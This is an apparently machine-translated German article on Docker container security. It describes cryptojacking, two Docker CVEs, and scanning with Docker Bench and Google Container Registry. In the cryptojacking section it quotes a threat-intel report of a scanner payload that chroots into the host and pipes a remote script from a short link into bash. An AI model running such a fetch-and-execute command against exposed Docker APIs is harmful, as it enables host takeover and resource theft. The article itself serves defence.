So finden und beheben Sie Sicherheitslücken in Docker-Containern im Jahr 2020

Durch die Containerisierung können Entwicklungsteams eine Sandbox-Umgebung erstellen, in der Anwendungen ausgeführt und getestet werden können. Container bestehen hauptsächlich aus Open-Source-Bildern, die vom Docker-Hub oder anderen öffentlichen Bildrepositorys abgerufen wurden.

Diese Open-Source-Images können jedoch manchmal Schwachstellen enthalten, die die Sicherheit von Containern und damit des Host-Computers / Servers gefährden können.

Da diese Container auf einem Host-Computer ausgeführt werden, ist es möglich, Container in der Produktion zu entführen, wenn sie ungeschützt bleiben.

Ein gutes Beispiel für einen solchen Hack ist Teslas Cryptojacking-Angriff auf einen ungeschützten Kubernetes-Cluster. Bei diesem Angriff konnten die Angreifer ein bösartiges Skript zum Mining von Krypto herunterladen und ausführen, indem sie GPUs verwendeten, die vom Tesla-Cluster K8s (Kubernetes) bereitgestellt wurden. Sie konnten diesen Angriff unter Kontrolle halten, indem sie die CPU-Auslastung auf ein Minimum beschränkten und das Skript in bestimmten Zeitintervallen ausführten.

Im Verlauf dieses Artikels werden wir uns mit allgemeinen Sicherheitslücken in Containern und möglichen Möglichkeiten zu deren Behebung befassen.

Häufige Sicherheitslücken in Containern und deren Behebung

Container werden von Ops-Ingenieuren verwendet, um eine Software / Anwendung in einer geschlossenen und kontrollierten Umgebung zu verpacken und bereitzustellen.

Um zu vermeiden, dass das Rad neu erfunden wird und die Markteinführungszeit verkürzt wird, werden bereits vorhandene Open-Source-Images eingezogen, um die zum Ausführen der Software erforderlichen Abhängigkeiten zu erfüllen. Diese Bilder enthalten häufig bestimmte Sicherheitslücken, die den gesamten Container und seinen Host für böswillige Angriffe anfällig machen.

Nachfolgend sind einige häufig auftretende Sicherheitslücken und Gefährdungen in Containern sowie deren Minderung aufgeführt.

Cryptojacking

Cryptojacking ist eine Art von Angriff, bei dem ein bösartiges Skript verwendet wird, um die Rechenressourcen eines Geräts für das Mining von Kryptowährungen zu stehlen.

Kürzlich wurde eine Sicherheitslücke in Docker mit dem Wörterbucheintrag CVE-2018-15664 entdeckt. Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, Root-Zugriff auf den Computer eines Hosts zu erhalten.

Angreifer können nicht nur die CPU- und GPU-Ressourcen des Host-Computers zum Minen von Krypto verwenden, sondern auch vertrauliche Anmeldeinformationen stehlen, DoS-Angriffe ausführen, Phishing-Kampagnen starten und vieles mehr.

Container können für Cryptojacking anfällig sein, wenn sie schädliche Bilder enthalten, die Angreifern Root-Zugriff auf den gesamten Container ermöglichen. Sie sind auch anfällig, wenn die Docker-Container-API-Endpunkte im Internet ohne Kennwörter oder Sicherheitsfirewalls öffentlich zugänglich sind, wie im Fall von Tesla.

Opportunistische Massenscan-Aktivitäten, die auf exponierte Docker-API-Endpunkte abzielen.

Diese Scans erstellen einen Container mit einem Alpine Linux-Image und führen die Nutzdaten aus über:

"Befehl": "chroot / mnt / bin / sh -c 'curl -sL4 //t.co/q047bRPUyj | bash;'", # Drohtintel pic.twitter.com/vxszV5SF1o

- Bericht über fehlerhafte Pakete (@bad_packets) vom 25. November 2019

Schädliche Open-Source-Bilder

Eine Sicherheitsanfälligkeit, die das Überschreiben der Runc-Binärdatei des Hosts ermöglicht, gibt Angreifern die Möglichkeit, Befehle mit Root-Zugriff auszuführen. Docker-Engines vor Version 18.09.2 machen Container mit von Angreifern kontrollierten Images anfällig für die Sicherheitsanfälligkeit CVE-2019-5736.

Ingenieuren wird so weit wie möglich empfohlen, die von Docker bereitgestellten offiziellen Docker-Images zu verwenden. Schließlich gibt es sogar ein von Docker gesponsertes Team, das eng mit Software-Betreuern / Herausgebern und Sicherheitsexperten zusammenarbeitet, um die Sicherheit der offiziellen Docker-Images zu gewährleisten.

Statische Docker-Dateien

Eines der Prinzipien von Containern ist, dass ein Bild unveränderlich ist. Das heißt, wenn ein Bild erstellt wird, ist sein Inhalt unveränderlich. Dies führt an sich zu Schwachstellen, die sich aus veralteten Paketen / Bibliotheken / Images ergeben, die in einem Image enthalten sind.

Daher ist es eine gute Idee, Schwachstellenscanner in CI / CD-Prozesse zu integrieren, um gefährdete Container-Images zu identifizieren. Da Images unveränderlich sind, hilft die Einführung eines neu erstellten Containers mit aktualisierten Abhängigkeiten dabei, die Sicherheitslücken zu schließen, da vom Patchen von Containern abgeraten wird.

So finden Sie Sicherheitslücken in Containern

Im vorherigen Abschnitt haben wir uns angesehen, wie sich Sicherheitslücken in Docker-Container einschleichen können.

Das Auffinden von Schwachstellen in unseren Containern vor Produktionsbeginn hilft, mögliche Sicherheitsverletzungen zu vermeiden und böswillige Angreifer fernzuhalten.

Wie sie sagen - eine Unze Prävention ist ein Pfund Heilung wert.

In diesem Abschnitt werden wir uns ansehen, wie Sie den Sicherheitslücken in Containern immer einen Schritt voraus sein können.

Verwenden von Docker Bench für die Sicherheit

Docker Bench for Security ist ein Skript, das alle Docker-Container auf dem Host-Computer / Server auf Best Practices für die Bereitstellung von Containern in der Produktion testet. Diese Tests basieren auf dem CIS-Docker-Benchmark.

Für einen Testlauf können Sie das docker/docker-bench-securityImage abrufen und vorhandene Container auf Ihrem lokalen Computer wie folgt testen:

docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /etc:/etc:ro \ -v /usr/bin/docker-containerd:/usr/bin/docker-containerd:ro \ -v /usr/bin/docker-runc:/usr/bin/docker-runc:ro \ -v /usr/lib/systemd:/usr/lib/systemd:ro \ -v /var/lib:/var/lib:ro \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ --label docker_bench_security \ docker/docker-bench-security

Hinweis : Dieser Befehl funktioniert unter OSX nicht gut. Weitere Informationen finden Sie in diesem GitHub-Problem.

Scannen nach Schwachstellen in GCR

Docker-Image-Repositorys (z. B. GCR) ermöglichen es Ingenieuren, Schwachstellen-Scans für Images in der Container-Registrierung durchzuführen.

Um das Scannen von Sicherheitslücken in GCR (Google Container Registry) zu aktivieren, gehen Sie zu den Einstellungen für die Containerregistrierung in der Google Cloud-Konsole und klicken Sie wie folgt auf "Scannen von Sicherheitslücken aktivieren":

Wenn ein Schwachstellenscan abgeschlossen ist, sehen Sie ein Ergebnis wie im Bild unten, wenn Schwachstellen vorhanden sind:

Verwenden von Lösungen für Unternehmen

Es gibt Containerisierungssicherheitssuiten für Unternehmen, die Schwachstellen verwalten und Bereitstellungsrichtlinien während des gesamten Lebenszyklus eines Containers durchsetzen.

Darüber hinaus lässt sich diese Produktsuite nahtlos in gängige CI / CD-Tools und Containerregister integrieren. Dies ermöglicht risikofreie Bereitstellungen sowie eine durchgängige Containerverwaltung von der Bereitstellung bis zur Produktion.

Fazit

Containers make it possible for engineering teams to roll out software seamlessly. However, this ease comes at the cost of security.

There are a couple of CVEs (common vulnerability exposures) in docker containers recorded in recent years. Some of them have been resolved in recent docker-engine updates with the remainder promised in future patch releases.

Engineering teams should have security in mind when building and deploying containers. They should also enforce container security policies in their DevOps lifecycles.